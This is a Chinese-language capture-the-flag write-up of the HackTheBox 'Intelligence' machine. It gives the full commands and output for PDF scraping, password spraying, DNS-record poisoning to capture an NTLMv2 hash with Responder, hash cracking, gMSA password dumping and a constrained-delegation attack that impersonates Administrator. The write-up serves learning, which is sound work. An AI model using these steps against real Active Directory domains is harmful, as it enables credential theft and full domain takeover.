HackTheBox - Intelligence

本文最后更新于:2022年6月6日 晚上

完善。。。

0x01 端口探测

使用nmap对靶机进行探测:

1
nmap -sV -sC 10.10.10.248

image-20210930211850122

比较标准的DC端口,还多了个WEB的80。

0x02 user.txt

进WEB看看,发现在主页目录可以下载文档。主页能下载的文档文件名为2020-01-01-upload.pdf

image-20211008103916590

image-20211008104103851

遂写了脚本进行爆破,将所有的文档下载下来:

1
2
3
4
5
6
7
8
9
10
import requests

for month in range(1, 13):
for day in range(1, 32):
file_name = "2020-%02d-%02d-upload.pdf" % (month, day)
resp = requests.get("http://10.10.10.248/documents/" + file_name)
if resp.status_code == 200:
print(file_name)
with open(file_name, "wb") as f:
f.write(resp.content)

image-20211008104214464

其中,大多数文档都是无意义的填充文字,为了避免一个个看过去,写了个脚本提取文字:

1
2
3
4
5
6
7
8
9
10
# 安装  pip install pdfplumber
import pdfplumber
import sys
# 利用pdfplumber提取文字
file = sys.argv[1]
with pdfplumber.open(file) as pdf:
first_page = pdf.pages[0]
print(file)
print(first_page.extract_text())
print()

将脚本保存为extract.py,该脚本使用方式为python3 extract.py 2020-01-01-upload.pdf ,为了批量处理需要配合shell命令进行使用。

1
for i in $(ls | grep pdf) ; do python3 extract.py  $i ; done > text_extract.txt

查看提取出的文字,对一些字段进行搜索,可以看到在搜索pass时能够看到初始密码:

image-20211001110440842

有了密码,我们还需要用户名才能进行登录,使用工具exiftool查看用户名:

image-20211008104808719

2020-06-04-upload.pdf的用户名不能登陆,所以我们需要提取所有的用户名:

1
for i in $(ls) ; do exiftool $i| grep Creator |awk -F: '{print $2}'; done

image-20211008105032513

将所有的用户名保存为username.txt,使用crackmapexec进行密码喷洒攻击:

1
crackmapexec smb 10.10.10.248 -u username.txt -p "NewIntelligenceCorpUser9876" 

最终爆破得到如下信息:

image-20211001124730527

1
2
3
domain = intelligence.htb
username = Tiffany.Molina
password = NewIntelligenceCorpUser9876

连上smb翻一下文件,能够找到一个downdetector.ps1,我们将这个文件下载下来:

1
smbclient -L //10.10.10.248 -U Tiffany.Molina
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
╭─root@kali ~/下载/pdf 
╰─# smbclient -L //10.10.10.248 -U Tiffany.Molina
Enter WORKGROUP\Tiffany.Molina's password:

Sharename Type Comment
--------- ---- -------
ADMIN$ Disk Remote Admin
C$ Disk Default share
IPC$ IPC Remote IPC
IT Disk
NETLOGON Disk Logon server share
SYSVOL Disk Logon server share
Users Disk
SMB1 disabled -- no workgroup available



╭─root@kali ~/下载/pdf
╰─# smbclient //10.10.10.248/IT -U Tiffany.Molina
Enter WORKGROUP\Tiffany.Molina's password:
Try "help" to get a list of possible commands.
smb: \> dir
. D 0 Mon Apr 19 08:50:55 2021
.. D 0 Mon Apr 19 08:50:55 2021
downdetector.ps1 A 1046 Mon Apr 19 08:50:55 2021

3770367 blocks of size 4096. 1460376 blocks available
smb: \> get downdetector.ps1
getting file \downdetector.ps1 of size 1046 as downdetector.ps1 (1.1 KiloBytes/sec) (average 1.1 KiloBytes/sec)



╭─root@kali ~/下载/pdf
╰─# smbclient //10.10.10.248/Users -U Tiffany.Molina
Enter WORKGROUP\Tiffany.Molina's password:
Try "help" to get a list of possible commands.
smb: \> get Tiffany.Molina\Desktop\user.txt
getting file \Tiffany.Molina\Desktop\user.txt of size 34 as Tiffany.Molina\Desktop\user.txt (0.0 KiloBytes/sec) (average 0.0 KiloBytes/sec)

然后顺手拿个user的flag:

image-20211001130336719

0x03 root.txt

查看downdetector.ps1,内容如下:

1
2
3
4
5
6
7
8
9
10
11
# Check web server status. Scheduled to run every 5min
Import-Module ActiveDirectory
foreach($record in Get-ChildItem "AD:DC=intelligence.htb,CN=MicrosoftDNS,DC=DomainDnsZones,DC=intelligence,DC=htb" | Where-Object Name -like "web*") {
try {
$request = Invoke-WebRequest -Uri "http://$($record.Name)" -UseDefaultCredentials
if(.StatusCode -ne 200) {
Send-MailMessage -From 'Ted Graves <Ted.Graves@intelligence.htb>' -To 'Ted Graves <Ted.Graves@intelligence.htb>' -Subject "Host: $($record.Name) is down"
}
} catch {}
}

结合文件名,我们可以推测该脚本的作用。每五分钟,该脚本会查找以“web”开头的域内二级站点,并使用Ted的凭据为每条找到的记录发送HTTP请求。(使用-UseDefaultCredentials选项)如果服务器没有返回200 OK状态码,则会向Ted发送一封邮件。

发送邮件不是我们关心的内容,重要的是HTTP请求带上了用户的凭据信息,我们可以插入一条相对应的DNS记录,指向自己的机子,这样就能拿到Ted.Graves的凭据信息了:

1
python3 dnstool.py -u 'intelligence.htb\Tiffany.Molina' -p 'NewIntelligenceCorpUser9876' -a add -r 'websucks.intelligence.htb' -d 10.10.14.27 10.10.10.248

image-20211005161234902

之后开启responder,监听vpn的网卡,等最多5分钟就能拿到Ted.Graves的NTLMv2 Hash:

1
responder -I tun0

image-20211005161628128

使用netcat进行爆破,最后能够拿到Ted.Graves的密码为Mr.Teddy:

1
hashcat -m 5600 -a 0 hash "E:\path\pass_en.txt" # 这里的字典就是rockyou.txt

image-20211005162018451

但是登上去后,并没有任何更多的信息,所以不是smb这条路,我们需要换一条思路:

image-20211005162902520

回去翻翻pdf,在最后一条能够发现一些提示信息:

image-20211005165904813

也就是说,此时此刻服务账户是未被锁定的。

看看ldap信息,使用ldapdomaindump导出所有ldap信息:

1
ldapdomaindump  -u "intelligence.htb\TED.GRAVES" -p "Mr.Teddy" intelligence.htb

image-20211008110726034

一个个看过去,首先在domain_computers中就能发现一个不同寻常的账户svc_int,它还配置了约束委派的标志位:

image-20211008110856112

对该机器账户进行更详细的信息收集,使用powersploit的powerview模块,参考

1
2
3
PS > $SecPassword = ConvertTo-SecureString 'Mr.Teddy' -AsPlainText -Force  
PS > $Cred = New-Object System.Management.Automation.PSCredential('intelligence.htb\TED.GRAVES', $SecPassword)
PS > Get-DomainComputer -Domain intelligence.htb -Credential $Cred -Server 10.10.10.248 svc_int

得到信息如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
pwdlastset                     : 2021/10/7 21:28:38
logoncount : 0
badpasswordtime : 1601/1/1 8:00:00
msds-managedpasswordpreviousid : {1, 0, 0, 0...}
distinguishedname : CN=svc_int,CN=Managed Service Accounts,DC=intelligence,DC=htb
objectclass : {top, person, organizationalPerson, user...}
name : svc_int
objectsid : S-1-5-21-4210132550-3389855604-3437519686-1144
msds-groupmsamembership : {1, 0, 4, 128...}
localpolicyflags : 0
codepage : 0
samaccounttype : MACHINE_ACCOUNT
accountexpires : NEVER
countrycode : 0
whenchanged : 2021/10/7 13:28:38
instancetype : 4
usncreated : 12846
objectguid : f180a079-f326-49b2-84a1-34824208d642
msds-managedpasswordid : {1, 0, 0, 0...}
msds-allowedtodelegateto : WWW/dc.intelligence.htb
samaccountname : svc_int$
objectcategory : CN=ms-DS-Group-Managed-Service-Account,CN=Schema,CN=Configuration,DC=intelligence,DC=h
tb
dscorepropagationdata : 1601/1/1 0:00:00
msds-managedpasswordinterval : 30
lastlogon : 1601/1/1 8:00:00
badpwdcount : 0
cn : svc_int
useraccountcontrol : WORKSTATION_TRUST_ACCOUNT, TRUSTED_TO_AUTH_FOR_DELEGATION
whencreated : 2021/4/19 0:49:58
primarygroupid : 515
iscriticalsystemobject : False
msds-supportedencryptiontypes : 28
usnchanged : 102507
lastlogoff : 1601/1/1 8:00:00
dnshostname : svc_int.intelligence.htb

从objectcategory中我们可以看出,该账户是一个GMSA(Group Managed Service Accounts)账户,详见官方文档:

image-20211008111335821

PayloadsAllTheThings中,我们能发现对GMSA账户的利用方法:

image-20211008111737837

尝试进行利用,很幸运地读到了该账户的密码(因为我们的Ted用户是itsupport组的成员之一):

1
2
3
4
5
6
7
╭─root@kali ~/Tools/gMSADumper ‹main› 
╰─# python3 gMSADumper.py -u TED.GRAVES -p Mr.Teddy -d intelligence.htb

Users or groups who can read password for svc_int$:
> DC$
> itsupport
svc_int$:::d170ae19de30439df55d6430e12dd621

之后便可以进行约束委派攻击了,但首先我们需要校准时间,否则Kerberos会报错:

1
2
3
4
5
6
╭─root@kali ~/Tools/gMSADumper ‹main› 
╰─# getST.py intelligence.htb/svc_int$ -spn WWW/dc.intelligence.htb -hashes :d170ae19de30439df55d6430e12dd621 -impersonate Administrator
Impacket v0.9.23 - Copyright 2021 SecureAuth Corporation

[*] Getting TGT for user
Kerberos SessionError: KRB_AP_ERR_SKEW(Clock skew too great)

使用ntpdate进行校正:

1
2
3
╭─root@kali ~/下载 
╰─# ntpdate dc.intelligence.htb
8 Oct 05:36:13 ntpdate[43971]: step time server 10.10.10.248 offset +25196.736528 sec

然后再拿Service Ticket:

1
2
3
4
5
6
7
8
9
╭─root@kali ~/下载 
╰─# getST.py intelligence.htb/svc_int$ -spn WWW/dc.intelligence.htb -hashes :d170ae19de30439df55d6430e12dd621 -impersonate Administrator
Impacket v0.9.23 - Copyright 2021 SecureAuth Corporation

[*] Getting TGT for user
[*] Impersonating Administrator
[*] Requesting S4U2self
[*] Requesting S4U2Proxy
[*] Saving ticket in Administrator.ccache

此外,我们不仅可以访问约束委派配置中用户可以模拟的服务,还可以访问使用与模拟帐户权限允许的任何服务。(因为未检查 SPN,只检查权限)。比如,如果我们能够访问 CIFS 服务,那么同样有权限访问 HOST 服务。注意如果我们有权限访问到 DC 的 LDAP 服务,则有足够的权限去执 行 DCSync。

export后使用impacket中的smbclient模块登录拿flag即可:

1
2
export KRB5CCNAME=Administrator.ccache
impacket-smbclient intelligence.htb/Administrator@dc.intelligence.htb -k -no-pass

image-20211008095012419

0x04 Summary

这是一个Medium难度的Windows靶机,主要考察内容如下:

  • 从pdf内容中收集信息
  • 密码喷洒攻击
  • smb共享目录利用
  • BloodHound使用
  • 约束委派攻击
  • GMSA攻击

HackTheBox - Intelligence
https://m0ck1ng-b1rd.github.io/2021/12/07/HTB/Intelligence/
作者
何语灵
发布于
2021年12月7日
许可协议